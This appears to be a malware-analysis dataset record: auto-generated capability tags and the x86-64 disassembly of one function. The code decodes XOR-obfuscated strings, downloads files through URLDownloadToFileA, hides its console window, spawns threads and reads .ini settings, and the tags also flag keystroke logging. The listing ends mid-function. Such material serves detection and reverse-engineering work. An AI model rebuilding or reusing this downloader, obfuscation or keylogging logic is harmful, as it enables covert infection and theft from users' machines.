Function at 0x140083390
Capabilities:
Contain obfuscated stackstrings
Create thread
Delete file
Download url
Encode data using xor
Execute command
Log keystrokes via polling
Read .ini file
Receive data

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x1f90]
mov eax, 0x2090
call fcn.1400e4b60
sub rsp, rax
movaps xmmword [rsp + 0x2080], xmm6
movaps xmmword [rsp + 0x2070], xmm7
movaps xmmword [rsp + 0x2060], xmm8
movaps xmmword [rsp + 0x2050], xmm9
movaps xmmword [rsp + 0x2040], xmm10
movaps xmmword [rsp + 0x2030], xmm11
movaps xmmword [rsp + 0x2020], xmm12
movaps xmmword [rsp + 0x2010], xmm13
movaps xmmword [rsp + 0x2000], xmm14
movaps xmmword [rsp + 0x1ff0], xmm15
mov rax, qword [0x140170e40]
xor rax, rsp
mov qword [rbp + 0x1ee0], rax
mov dword [rbp + 0x30], 0x15585d59
mov dword [rbp + 0x34], 0x5b4559
mov byte [rbp + 0x38], 1
xor r15d, r15d
mov ecx, r15d
nop
lea eax, [rcx + 0x38]
xor byte [rbp + rcx + 0x30], al
inc rcx
cmp rcx, 7
jb 0x140069060
mov byte [rbp + 0x38], r15b
xorps xmm0, xmm0
movups xmmword [rbp + 0x14a0], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x14b0], xmm1
lea rax, [rbp + 0x30]
mov r8, 0xffffffffffffffff
inc r8
cmp byte [rax + r8], r15b
jne 0x140069094
lea rdx, [rbp + 0x30]
lea rcx, [rbp + 0x14a0]
call fcn.140057450
lea rcx, [rbp + 0x14a0]
cmp qword [rbp + 0x14b8], 0xf
cmova rcx, qword [rbp + 0x14a0]
lea rdx, [0x140114aa8]
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fopen]
test rax, rax
je 0x1400690e3
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fclose]
xor bl, bl
jmp 0x1400690e5
mov bl, 1
mov r8, qword [rbp + 0x14b8]
cmp r8, 0xf
jbe 0x140069105
mov rdx, qword [rbp + 0x14a0]
lea rcx, [rbp + 0x14a0]
call fcn.140072b30
movdqa xmm0, xmmword [0x140115d90]
movdqu xmmword [rbp + 0x14b0], xmm0
mov byte [rbp + 0x14a0], r15b
test bl, bl
je 0x140069207
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_time_l1_1_0.dll__time64]
mov r8, rax
movdqa xmm0, xmmword [0x140116670]
movdqu xmmword [rbp + 0x15e0], xmm0
movdqa xmm1, xmmword [0x1401165d0]
movdqu xmmword [rbp + 0x15f0], xmm1
movdqa xmm0, xmmword [str.w8_9r8:_]
movdqu xmmword [rbp + 0x1600], xmm0
mov dword [rbp + 0x1610], 0x4e571905
mov word [rbp + 0x1614], 8
mov byte [rbp + 0x1616], 1
mov rcx, r15
nop dword [rax]
lea eax, [rcx + 0x38]
xor byte [rbp + rcx + 0x15e0], al
inc rcx
cmp rcx, 0x35
jb 0x140069180
mov byte [rbp + 0x1616], r15b
lea rdx, [rbp + 0x15e0]
lea rcx, [rbp + 0x1ce0]
call fcn.14005f120
mov dword [rbp + 0xa8], 0x15585d59
mov dword [rbp + 0xac], 0x5b4559
mov byte [rbp + 0xb0], 1
mov rcx, r15
nop dword [rax + rax]
lea eax, [rcx + 0x38]
xor byte [rbp + rcx + 0xa8], al
inc rcx
cmp rcx, 7
jb 0x1400691d0
mov byte [rbp + 0xb0], r15b
mov qword [rsp + 0x20], r15
xor r9d, r9d
lea r8, [rbp + 0xa8]
lea rdx, [rbp + 0x1ce0]
xor ecx, ecx
call sub.urlmon.dll_URLDownloadToFileA
mov dword [rbp + 0x268], 0x6c585d79
mov dword [rbp + 0x26c], 0x4f7f5355
mov dword [rbp + 0x270], 0x2f266f29
mov word [rbp + 0x274], Ordinal_46
mov byte [rbp + 0x276], 1
mov rcx, r15
nop dword [rax + rax]
lea eax, [rcx + 0x38]
xor byte [rbp + rcx + 0x268], al
inc rcx
cmp rcx, 0xd
jb 0x140069240
mov byte [rbp + 0x276], r15b
xorps xmm0, xmm0
movups xmmword [rbp + 0x14c0], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x14d0], xmm1
lea rax, [rbp + 0x268]
mov r8, 0xffffffffffffffff
nop dword [rax]
inc r8
cmp byte [rax + r8], r15b
jne 0x140069280
lea rdx, [rbp + 0x268]
lea rcx, [rbp + 0x14c0]
call fcn.140057450
lea rcx, [rbp + 0x14c0]
cmp qword [rbp + 0x14d8], 0xf
cmova rcx, qword [rbp + 0x14c0]
lea rdx, [0x140114aa8]
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fopen]
test rax, rax
je 0x1400692d2
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fclose]
xor bl, bl
jmp 0x1400692d4
mov bl, 1
mov r8, qword [rbp + 0x14d8]
cmp r8, 0xf
jbe 0x1400692f4
mov rdx, qword [rbp + 0x14c0]
lea rcx, [rbp + 0x14c0]
call fcn.140072b30
movdqa xmm0, xmmword [0x140115d90]
movdqu xmmword [rbp + 0x14d0], xmm0
mov byte [rbp + 0x14c0], r15b
test bl, bl
je 0x140069417
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_time_l1_1_0.dll__time64]
mov r8, rax
movdqa xmm0, xmmword [0x140116670]
movdqu xmmword [rbp + 0x14e0], xmm0
movdqa xmm1, xmmword [0x1401165d0]
movdqu xmmword [rbp + 0x14f0], xmm1
movdqa xmm0, xmmword [0x140116190]
movdqu xmmword [rbp + 0x1500], xmm0
mov dword [rbp + 0x1510], 0x180f0401
mov dword [rbp + 0x1514], 0x1f030c18
mov dword [rbp + 0x1518], 0x16544d
mov byte [rbp + 0x151c], 1
mov rcx, r15
nop word [rax + rax]
lea eax, [rcx + 0x38]
xor byte [rbp + rcx + 0x14e0], al
inc rcx
cmp rcx, 0x3b
jb 0x140069380
mov byte [rbp + 0x151c], r15b
lea rdx, [rbp + 0x14e0]
lea rcx, [rbp + 0x1de0]
call fcn.14005f120
mov dword [rbp + 0x2e8], 0x6c585d79
mov dword [rbp + 0x2ec], 0x4f7f5355
mov dword [rbp + 0x2f0], 0x2f266f29
mov word [rbp + 0x2f4], Ordinal_46
mov byte [rbp + 0x2f6], 1
mov rcx, r15
nop
lea eax, [rcx + 0x38]
xor byte [rbp + rcx + 0x2e8], al
inc rcx
cmp rcx, 0xd
jb 0x1400693e0
mov byte [rbp + 0x2f6], r15b
mov qword [rsp + 0x20], r15
xor r9d, r9d
lea r8, [rbp + 0x2e8]
lea rdx, [rbp + 0x1de0]
xor ecx, ecx
call sub.urlmon.dll_URLDownloadToFileA
call qword [sym.imp.KERNEL32.dll_AllocConsole]
movdqa xmm0, xmmword [0x140116440]
movdqu xmmword [rbp + 0x1338], xmm0
mov dword [rbp + 0x1348], 0x1003a3b
mov rcx, r15
nop word [rax + rax]
lea eax, [rcx + 0x38]
xor byte [rbp + rcx + 0x1338], al
inc rcx
cmp rcx, 0x12
jb 0x140069440
mov byte [rbp + 0x134b], r15b
xor edx, edx
lea rcx, [rbp + 0x1338]
call qword [sym.imp.USER32.dll_FindWindowA]
xor edx, edx
mov rcx, rax
call qword [sym.imp.USER32.dll_ShowWindow]
lea rcx, [0x1401a7610]
call fcn.14008eaf0
mov dword [rbp + 0x1bd0], 0x50
mov dword [rbp + 0x1bd4], 0x40
lea rax, [0x1400725c0]
mov qword [rbp + 0x1bd8], rax
mov qword [rbp + 0x1be0], r15
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov qword [rbp + 0x1be8], rax
xorps xmm0, xmm0
movdqa xmmword [rbp + 0x1bf0], xmm0
xorps xmm1, xmm1
movdqa xmmword [rbp + 0x1c00], xmm1
lea rax, str.Loaders
mov qword [rbp + 0x1c10], rax
mov qword [rbp + 0x1c18], r15
lea rcx, [rbp + 0x1bd0]
call qword [sym.imp.USER32.dll_RegisterClassExA]
mov qword [rsp + 0x58], r15
mov rax, qword [rbp + 0x1be8]
mov qword [rsp + 0x50], rax
mov qword [rsp + 0x48], r15
mov qword [rsp + 0x40], r15
mov dword [rsp + 0x38], 5
mov dword [rsp + 0x30], 5
mov dword [rsp + 0x28], r15d
mov dword [rsp + 0x20], r15d
mov r9d, 0x80000000
lea r8, str.Hihihii
mov rdx, qword [rbp + 0x1c10]
xor ecx, ecx
call qword [sym.imp.USER32.dll_CreateWindowExA]
mov rbx, rax
mov qword [0x1401a7278], rax
mov ecx, reloc.WLDAP32.dll_Ordinal_32
call sub.d3d9.dll_Direct3DCreate9
mov rcx, rax
mov qword [0x1401a72d0], rax
test rax, rax
je 0x14007251b
mov qword [0x1401a7290], r15
mov qword [0x1401a729c], r15
mov dword [0x1401a72a4], r15d
mov qword [0x1401a72ac], r15
mov dword [0x1401a72b4], r15d
mov qword [0x1401a72c4], r15
mov dword [0x1401a72b8], 1
mov dword [0x1401a72a8], 1
mov dword [0x1401a7298], r15d
mov dword [0x1401a72bc], 1
mov dword [0x1401a72c0], 0x50
mov dword [0x1401a72cc], 1
mov rax, qword [rax]
mov r10, qword [rax + 0x80]
lea rax, [0x1401a7280]
mov qword [rsp + 0x30], rax
lea rax, [0x1401a7290]
mov qword [rsp + 0x28], rax
mov dword [rsp + 0x20], 0x40
mov r9, rbx
xor edx, edx
lea r8d, [rdx + 1]
call r10
test eax, eax
js 0x14007251b
xor edx, edx
mov rcx, qword [0x1401a7278]
call qword [sym.imp.USER32.dll_ShowWindow]
mov rcx, qword [0x1401a7278]
call qword [sym.imp.USER32.dll_UpdateWindow]
xor ecx, ecx
call fcn.140011950
call fcn.14001c4b0
mov r13, rax
mov qword [rax + 0x18], r15
or dword [rax], 0x400
mov rcx, qword [0x1401a7278]
call fcn.140040cf0
mov rcx, qword [0x1401a7280]
call fcn.14003f7c0
movdqa xmm0, xmmword [0x140116390]
movdqu xmmword [rbp + 0x13b0], xmm0
mov word [rbp + 0x13c0], 0x100
mov rcx, r15
lea eax, [rcx + 0x38]
xor byte [rbp + rcx + 0x13b0], al
inc rcx
cmp rcx, 0x10
jb 0x140069672
mov byte [rbp + 0x13c1], r15b
mov r9d, 0x40
lea r8d, [r9 - 0x3f]
lea rdx, [rbp + 0x13b0]
lea rcx, [0x1401a7450]
call fcn.14007ebd0
lea rbx, [0x1401a7440]
xor r8d, r8d
test rax, rax
mov rax, qword [0x1401a7440]
movsxd rcx, dword [rax + 4]
je 0x1400696d0
add rcx, rbx
xor edx, edx
call qword [sym.imp.MSVCP140.dll_public:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::clear_int__bool____ptr64]
jmp 0x1400696de
add rcx, rbx
mov edx, 2
call qword [sym.imp.MSVCP140.dll_public:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::setstate_int__bool____ptr64]
lea r8, [0x1401a7180]
mov rdx, 0xffffffffffffffff
mov rcx, rbx
call fcn.1400591c0
mov rcx, rbx
call fcn.140074780
mov rcx, qword [r13 + 0xa0]
movdqa xmm0, xmmword [0x1401167b0]
movdqu xmmword [rbp + 0x1258], xmm0
mov dword [rbp + 0x1268], 0x272b2a14
mov dword [rbp + 0x126c], 0x263c2f25
mov dword [rbp + 0x1270], 0x27267f32
mov word [rbp + 0x1274], reloc.WLDAP32.dll_Ordinal_50
mov byte [rbp + 0x1276], 1
mov rdx, r15
nop dword [rax]
nop dword [rax + rax]
lea eax, [rdx + 0x38]
xor byte [rbp + rdx + 0x1258], al
inc rdx
cmp rdx, 0x1d
jb 0x140069750
mov byte [rbp + 0x1276], r15b
mov qword [rsp + 0x20], r15
xor r9d, r9d
movss xmm2, dword [0x1400ec0c0]
lea rdx, [rbp + 0x1258]
call fcn.14002f230
mov qword [0x1401a7148], rax
xorps xmm0, xmm0
movups xmmword [rbp + 0x1ca0], xmm0
movups xmmword [rbp + 0x1cb0], xmm0
movups xmmword [rbp + 0x1cc0], xmm0
mov qword [rsp + 0x28], r15
mov dword [rsp + 0x20], r15d
xor r9d, r9d
lea r8, [0x14007e360]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_CloseHandle]
cmp byte [reloc.WS2_32.dll_accept], r15b
je 0x14006a515
mov dword [rbp], 0x525e5255
mov dword [rbp + 4], 0x57d1d4e
mov dword [rbp + 8], 0x2a2d171c
mov dword [rbp + 0xc], 0x1001920
mov rcx, r15
nop dword [rax + rax]
lea eax, [rcx + 0x38]
xor byte [rbp + rcx], al
inc rcx
cmp rcx, 0xe
jb 0x140069800
mov byte [rbp + 0xf], r15b
lea rdx, [rbp]
lea rcx, [rbp + 0x1ba0]
call fcn.14005fb00
mov rcx, rax
call fcn.140081c10
movdqa xmm0, xmmword [0x140116480]
movdqu xmmword [rbp + 0x12b8], xmm0
movdqa xmm1, xmmword [0x140116950]
movdqu xmmword [rbp + 0x12c8], xmm1
movdqa xmm0, xmmword [0x140116080]
movdqu xmmword [rbp + 0x12d8], xmm0
mov dword [rbp + 0x12e8], 0x1000006
mov rcx, r15
nop dword [rax]
lea eax, [rcx + 0x38]
xor byte [rbp + rcx + 0x12b8], al
inc rcx
cmp rcx, 0x32
jb 0x140069870
mov byte [rbp + 0x12eb], r15b
lea rdx, [rbp + 0x12b8]
lea rcx, [rbp + 0x1b20]
call fcn.14005fb00
lea rcx, [rbp + 0x1b20]
call fcn.140063df0
movzx ebx, al
lea rcx, [rbp + 0x1b20]
call fcn.140060910
test bl, bl
je 0x1400699a8
movdqa xmm0, xmmword [0x140116490]
movdqu xmmword [rbp + 0x1970], xmm0
movdqa xmm1, xmmword [0x140116950]
movdqu xmmword [rbp + 0x1980], xmm1
movdqa xmm0, xmmword [0x140116080]
movdqu xmmword [rbp + 0x1990], xmm0
mov dword [rbp + 0x19a0], 0x1000006
lea rcx, [rbp + 0x1970]
call fcn.140074150
mov rdx, rax
lea rcx, [rbp + 0x1b00]
call fcn.14005fb00
lea rcx, [rbp + 0x1b00]
call fcn.140063df0
movzx ebx, al
lea rcx, [rbp + 0x1b00]
call fcn.140060910
test bl, bl
je 0x1400699a8
movdqa xmm0, xmmword [0x1401164a0]
movdqu xmmword [rbp + 0x19a8], xmm0
movdqa xmm1, xmmword [0x140116950]
movdqu xmmword [rbp + 0x19b8], xmm1
movdqa xmm0, xmmword [0x140116080]
movdqu xmmword [rbp + 0x19c8], xmm0
mov dword [rbp + 0x19d8], 0x1000006
lea rcx, [rbp + 0x19a8]
call fcn.140074150
mov rdx, rax
lea rcx, [rbp + 0x1b40]
call fcn.14005fb00
lea rcx, [rbp + 0x1b40]
call fcn.140063df0
movzx ebx, al
lea rcx, [rbp + 0x1b40]
call fcn.140060910
test bl, bl
jne 0x1400699cf
mov qword [rsp + 0x28], r15
mov dword [rsp + 0x20], r15d
xor r9d, r9d
lea r8, [0x140074930]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_CloseHandle]
movdqa xmm0, xmmword [0x140116480]
movdqu xmmword [rbp + 0x16a0], xmm0
movdqa xmm1, xmmword [0x140116950]
movdqu xmmword [rbp + 0x16b0], xmm1
movdqa xmm0, xmmword [0x140116080]
movdqu xmmword [rbp + 0x16c0], xmm0
mov dword [rbp + 0x16d0], 0x1000006
mov rcx, r15
nop dword [rax]
lea eax, [rcx + 0x38]
xor byte [rbp + rcx + 0x16a0], al
inc rcx
cmp rcx, 0x32
jb 0x140069a10
mov byte [rbp + 0x16d3], r15b
mov dword [rbp + 0x168], 0x574f547d
mov dword [rbp + 0x16c], 0x4d51495d
mov word [rbp + 0x170], 0x100
mov rcx, r15
nop word [rax + rax]
lea eax, [rcx + 0x38]
xor byte [rbp + rcx + 0x168], al
inc rcx
cmp rcx, 8
jb 0x140069a50
mov byte [rbp + 0x171], r15b
mov dword [rbp - 0x48], 0x5e57587f
mov word [rbp - 0x44], 0x100
mov rcx, r15
nop word [rax + rax]
lea eax, [rcx + 0x38]
xor byte [rbp + rcx - 0x48], al
inc rcx
cmp rcx, 4
jb 0x140069a80
mov byte [rbp - 0x43], r15b
lea r9, [rbp + 0x16a0]
mov r8d, dword [0x1401a7118]
lea rdx, [rbp + 0x168]
lea rcx, [rbp - 0x48]
call qword [sym.imp.KERNEL32.dll_GetPrivateProfileIntA]
mov r8d, eax
mov dword [0x1401a7118], eax
movdqa xmm0, xmmword [0x140116490]
movdqu xmmword [rbp + 0x1668], xmm0
movdqa xmm1, xmmword [0x140116950]
movdqu xmmword [rbp + 0x1678], xmm1
movdqa xmm0, xmmword [0x140116080]
movdqu xmmword [rbp + 0x1688], xmm0
mov dword [rbp + 0x1698], 0x1000006
mov rcx, r15
nop dword [rax]
lea eax, [rcx + 0x38]
xor byte [rbp + rcx + 0x1668], al
inc rcx
cmp rcx, 0x32
jb 0x140069b00
mov byte [rbp + 0x169b], r15b
mov dword [rbp + 0x158], 0x574f547d
mov dword [rbp + 0x15c], 0x4d51495d
mov word [rbp + 0x160], 0x100
mov rcx, r15
nop word [rax + rax]
lea eax, [rcx + 0x38]
xor byte [rbp + rcx + 0x158], al
inc rcx
cmp rcx, 8
jb 0x140069b40
mov byte [rbp + 0x161], r15b
mov dword [rbp - 0x40], 0x5e57587f
mov word [rbp - 0x3c], 0x100
mov rcx, r15
nop word [rax + rax]
lea eax, [rcx + 0x38]
xor byte [rbp + rcx - 0x40], al
inc rcx
cmp rcx, 4
jb 0x140069b70
mov byte [rbp - 0x3b], r15b
lea r9, [rbp + 0x1668]
lea rdx, [rbp + 0x158]
lea rcx, [rbp - 0x40]
call qword [sym.imp.KERNEL32.dll_GetPrivateProfileIntA]
mov r8d, eax
mov dword [0x1401a7118], eax
movdqa xmm0, xmmword [0x1401164a0]
movdqu xmmword [rbp + 0x1748], xmm0
movdqa xmm1, xmmword [0x140116950]
movdqu xmmword [rbp + 0x1758], xmm1
movdqa xmm0, xmmword [0x140116080]
movdqu xmmword [rbp + 0x1768], xmm0
mov dword [rbp + 0x1778], 0x1000006
mov rcx, r15
lea eax, [rcx + 0x38]
xor byte [rbp + rcx + 0x1748], al
inc rcx
cmp rcx, 0x32
jb 0x140069be2
mov byte [rbp + 0x177b], r15b
mov dword [rbp + 0x148], 0x574f547d
mov dword [rbp + 0x14c], 0x4d51495d
mov word [rbp + 0x150], 0x100
mov rcx, r15
nop dword [rax]
lea eax, [rcx + 0x38]
xor byte [rbp + rcx + 0x148], al
inc rcx
cmp rcx, 8
jb 0x140069c20
mov byte [rbp + 0x151], r15b
mov dword [rbp - 0x38], 0x5e57587f
mov word [rbp - 0x34], 0x100
mov rcx, r15
nop word [rax + rax]
lea eax, [rcx + 0x38]
xor byte [rbp + rcx - 0x38], al
inc rcx
cmp rcx, 4
jb 0x140069c50
mov byte [rbp - 0x33], r15b
lea r9, [rbp + 0x1748]
lea rdx, [rbp + 0x148]
lea rcx, [rbp - 0x38]
call qword [sym.imp.KERNEL32.dll_GetPrivateProfileIntA]
mov dword [0x1401a7118], eax
movdqa xmm0, xmmword [0x140116480]
movdqu xmmword [rbp + 0x1630], xmm0
movdqa xmm1, xmmword [0x140116950]
movdqu xmmword [rbp + 0x1640], xmm1
movdqa xmm0, xmmword [0x140116080]
movdqu xmmword [rbp + 0x1650], xmm0
mov dword [rbp + 0x1660], 0x1000006
mov rcx, r15
nop
lea eax, [rcx + 0x38]
xor byte [rbp + rcx + 0x1630], al
inc rcx
cmp rcx, 0x32
jb 0x140069cc0
mov byte [rbp + 0x1663], r15b
mov dword [rbp + 0xb8], 0x48485c6e
mov dword [rbp + 0xbc], 0x505255
mov byte [rbp + 0xc0], 1
mov rcx, r15
nop dword [rax + rax]
lea eax, [rcx + 0x38]
xor byte [rbp + rcx + 0xb8], al
inc rcx
cmp rcx, 7
jb 0x140069d00
mov byte [rbp + 0xc0], r15b
mov dword [rbp + 0x4c8], 0x5e57587f
mov word [rbp + 0x4cc], 0x100
lea rcx, [rbp + 0x4c8]
call fcn.140073bb0
lea r9, [rbp + 0x1630]
mov r8d, dword [0x1401a710c]
lea rdx, [rbp + 0xb8]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetPrivateProfileIntA]
mov esi, eax
mov dword [0x1401a710c], eax
movdqa xmm0, xmmword [0x140116490]
movdqu xmmword [rbp + 0x19e0], xmm0
movdqa xmm1, xmmword [0x140116950]
movdqu xmmword [rbp + 0x19f0], xmm1
movdqa xmm0, xmmword [0x140116080]
movdqu xmmword [rbp + 0x1a00], xmm0
mov dword [rbp + 0x1a10], 0x1000006
lea rcx, [rbp + 0x19e0]
call fcn.140074150
mov rdi, rax
mov dword [rbp + 0x918], 0x48485c6e
mov dword [rbp + 0x91c], 0x505255
mov byte [rbp + 0x920], 1
lea rcx, [rbp + 0x918]
call fcn.140073c40
mov rbx, rax
mov dword [rbp + 0x4d0], 0x5e57587f
mov word [rbp + 0x4d4], 0x100
lea rcx, [rbp + 0x4d0]
call fcn.140073bb0
mov r9, rdi
mov r8d, esi
mov rdx, rbx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetPrivateProfileIntA]
mov esi, eax
mov dword [0x1401a710c], eax
movdqa xmm0, xmmword [0x1401164a0]
movdqu xmmword [rbp + 0x1a18], xmm0
movdqa xmm1, xmmword [0x140116950]
movdqu xmmword [rbp + 0x1a28], xmm1
movdqa xmm0, xmmword [0x140116080]
movdqu xmmword [rbp + 0x1a38], xmm0
mov dword [rbp + 0x1a48], 0x1000006
lea rcx, [rbp + 0x1a18]
call fcn.140074150
mov rdi, rax
mov dword [rbp + 0x928], 0x48485c6e
mov dword [rbp + 0x92c], 0x505255
mov byte [rbp + 0x930], 1
lea rcx, [rbp + 0x928]
call fcn.140073c40
mov rbx, rax
mov dword [rbp + 0x4d8], 0x5e57587f
mov word [rbp + 0x4dc], 0x100
lea rcx, [rbp + 0x4d8]
call fcn.140073bb0
mov r9, rdi
mov r8d, esi
mov rdx, rbx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetPrivateProfileIntA]
mov dword [0x1401a710c], eax
movdqa xmm0, xmmword [0x140116480]
movdqu xmmword [rbp + 0x1710], xmm0
movdqa xmm1, xmmword [0x140116950]
movdqu xmmword [rbp + 0x1720], xmm1
movdqa xmm0, xmmword [0x140116080]
movdqu xmmword [rbp + 0x1730], xmm0
mov dword [rbp + 0x1740], 0x1000006
mov rcx, r15
lea eax, [rcx + 0x38]
xor byte [rbp + rcx + 0x1710], al
inc rcx
cmp rcx, 0x32
jb 0x140069ef2
mov byte [rbp + 0x1743], r15b
mov dword [rbp + 0x4e0], 0x5e5e5675
mov word [rbp + 0x4e4], 0x100
lea rcx, [rbp + 0x4e0]
call fcn.140073bb0
mov rbx, rax
mov dword [rbp + 0x4e8], 0x5e57587f
mov word [rbp + 0x4ec], 0x100
lea rcx, [rbp + 0x4e8]
call fcn.140073bb0
lea r9, [rbp + 0x1710]
mov r8d, dword [0x1401a7110]
mov rdx, rbx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetPrivateProfileIntA]
mov esi, eax
mov dword [0x1401a7110], eax
movdqa xmm0, xmmword [0x140116490]
movdqu xmmword [rbp + 0x1a50], xmm0
movdqa xmm1, xmmword [0x140116950]
movdqu xmmword [rbp + 0x1a60], xmm1
movdqa xmm0, xmmword [0x140116080]
movdqu xmmword [rbp + 0x1a70], xmm0
mov dword [rbp + 0x1a80], 0x1000006
lea rcx, [rbp + 0x1a50]
call fcn.140074150
mov rdi, rax
mov dword [rbp + 0x4f0], 0x5e5e5675
mov word [rbp + 0x4f4], 0x100
lea rcx, [rbp + 0x4f0]
call fcn.140073bb0
mov rbx, rax
mov dword [rbp + 0x4f8], 0x5e57587f
mov word [rbp + 0x4fc], 0x100
lea rcx, [rbp + 0x4f8]
call fcn.140073bb0
mov r9, rdi
mov r8d, esi
mov rdx, rbx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetPrivateProfileIntA]
mov esi, eax
mov dword [0x1401a7110], eax
movdqa xmm0, xmmword [0x1401164a0]
movdqu xmmword [rbp + 0x1a88], xmm0
movdqa xmm1, xmmword [0x140116950]
movdqu xmmword [rbp + 0x1a98], xmm1
movdqa xmm0, xmmword [0x140116080]
movdqu xmmword [rbp + 0x1aa8], xmm0
mov dword [rbp + 0x1ab8], 0x1000006
lea rcx, [rbp + 0x1a88]
call fcn.140074150
mov rdi, rax
mov dword [rbp + 0x500], 0x5e5e5675
mov word [rbp + 0x504], 0x100
lea rcx, [rbp + 0x500]
call fcn.140073bb0
mov rbx, rax
mov dword [rbp + 0x508], 0x5e57587f
mov word [rbp + 0x50c], 0x100
lea rcx, [rbp + 0x508]
call fcn.140073bb0
mov r9, rdi
mov r8d, esi
mov rdx, rbx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetPrivateProfileIntA]
mov dword [0x1401a7110], eax
movdqa xmm0, xmmword [0x140116480]
movdqu xmmword [rbp + 0x1820], xmm0
movdqa xmm1, xmmword [0x140116950]
movdqu xmmword [rbp + 0x1830], xmm1
movdqa xmm0, xmmword [0x140116080]
movdqu xmmword [rbp + 0x1840], xmm0
mov dword [rbp + 0x1850], 0x1000006
lea rcx, [rbp + 0x1820]
call fcn.140074150
mov rdi, rax
movzx esi, byte [0x1401a760b]
mov dword [rbp + 0xc18], 0x7849506e
mov dword [rbp + 0xc1c], 0x545d5854
mov word [rbp + 0xc20], 0x100
lea rcx, [rbp + 0xc18]
call fcn.140073c70
mov rbx, rax
mov dword [rbp + 0x510], 0x5e57587f
mov word [rbp + 0x514], 0x100
lea rcx, [rbp + 0x510]
call fcn.140073bb0
mov r9, rdi
mov r8d, esi
mov rdx, rbx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetPrivateProfileIntA]
test eax, eax
setne bl
mov byte [0x1401a760b], bl
movdqa xmm0, xmmword [0x140116490]
movdqu xmmword [rbp + 0x1858], xmm0
movdqa xmm1, xmmword [0x140116950]
movdqu xmmword [rbp + 0x1868], xmm1
movdqa xmm0, xmmword [0x140116080]
movdqu xmmword [rbp + 0x1878], xmm0
mov dword [rbp + 0x1888], 0x1000006
lea rcx, [rbp + 0x1858]
call fcn.140074150
mov rdi, rax
movzx esi, bl
mov dword [rbp + 0xc08], 0x7849506e
mov dword [rbp + 0xc0c], 0x545d5854
mov word [rbp + 0xc10], 0x100
lea rcx, [rbp + 0xc08]
call fcn.140073c70
mov rbx, rax
mov dword [rbp + 0x518], 0x5e57587f
mov word [rbp + 0x51c], 0x100
lea rcx, [rbp + 0x518]
call fcn.140073bb0
mov r9, rdi
mov r8d, esi
mov rdx, rbx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetPrivateProfileIntA]
test eax, eax
setne bl
mov byte [0x1401a760b], bl
movdqa xmm0, xmmword [0x1401164a0]
movdqu xmmword [rbp + 0x1890], xmm0
movdqa xmm1, xmmword [0x140116950]
movdqu xmmword [rbp + 0x18a0], xmm1
movdqa xmm0, xmmword [0x140116080]
movdqu xmmword [rbp + 0x18b0], xmm0
mov dword [rbp + 0x18c0], 0x1000006
lea rcx, [rbp + 0x1890]
call fcn.140074150
mov rdi, rax
movzx esi, bl
mov dword [rbp + 0xbf8], 0x7849506e
mov dword [rbp + 0xbfc], 0x545d5854
mov word [rbp + 0xc00], 0x100
lea rcx, [rbp + 0xbf8]
call fcn.140073c70
mov rbx, rax
mov dword [rbp + 0x520], 0x5e57587f
mov word [rbp + 0x524], 0x100
lea rcx, [rbp + 0x520]
call fcn.140073bb0
mov r9, rdi
mov r8d, esi
mov rdx, rbx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetPrivateProfileIntA]
test eax, eax
setne byte [0x1401a760b]
movdqa xmm0, xmmword [0x140116480]
movdqu xmmword [rbp + 0x18c8], xmm0
movdqa xmm1, xmmword [0x140116950]
movdqu xmmword [rbp + 0x18d8], xmm1
movdqa xmm0, xmmword [0x140116080]
movdqu xmmword [rbp + 0x18e8], xmm0
mov dword [rbp + 0x18f8], 0x1000006
lea rcx, [rbp + 0x18c8]
call fcn.140074150
mov rdi, rax
movzx esi, byte [0x1401a760a]
mov dword [rbp + 0xc28], 0x6b09696c
mov dword [rbp + 0xc2c], 0x575d495d
mov word [rbp + 0xc30], 0x100
lea rcx, [rbp + 0xc28]
call fcn.140073c70
mov rbx, rax
mov dword [rbp + 0x528], 0x5e57587f
mov word [rbp + 0x52c], 0x100
lea rcx, [rbp + 0x528]
call fcn.140073bb0
mov r9, rdi
mov r8d, esi
mov rdx, rbx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetPrivateProfileIntA]
test eax, eax
setne bl
mov byte [0x1401a760a], bl
movdqa xmm0, xmmword [0x140116490]
movdqu xmmword [rbp + 0x1938], xmm0
movdqa xmm1, xmmword [0x140116950]
movdqu xmmword [rbp + 0x1948], xmm1
movdqa xmm0, xmmword [0x140116080]
movdqu xmmword [rbp + 0x1958], xmm0
mov dword [rbp + 0x1968], 0x1000006
lea rcx, [rbp + 0x1938]
call fcn.140074150
mov rdi, rax
movzx esi, bl
mov dword [rbp + 0xc38], 0x6b09696c
mov dword [rbp + 0xc3c], 0x575d495d
mov word [rbp + 0xc40], 0x100
lea rcx, [rbp + 0xc38]
call fcn.140073c70
mov rbx, rax
mov dword [rbp + 0x3a8], 0x5e57587f
mov word [rbp + 0x3ac], 0x100
lea rcx, [rbp + 0x3a8]
call fcn.140073bb0
mov r9, rdi
mov r8d, esi
mov rdx, rbx
mov rcx, rax
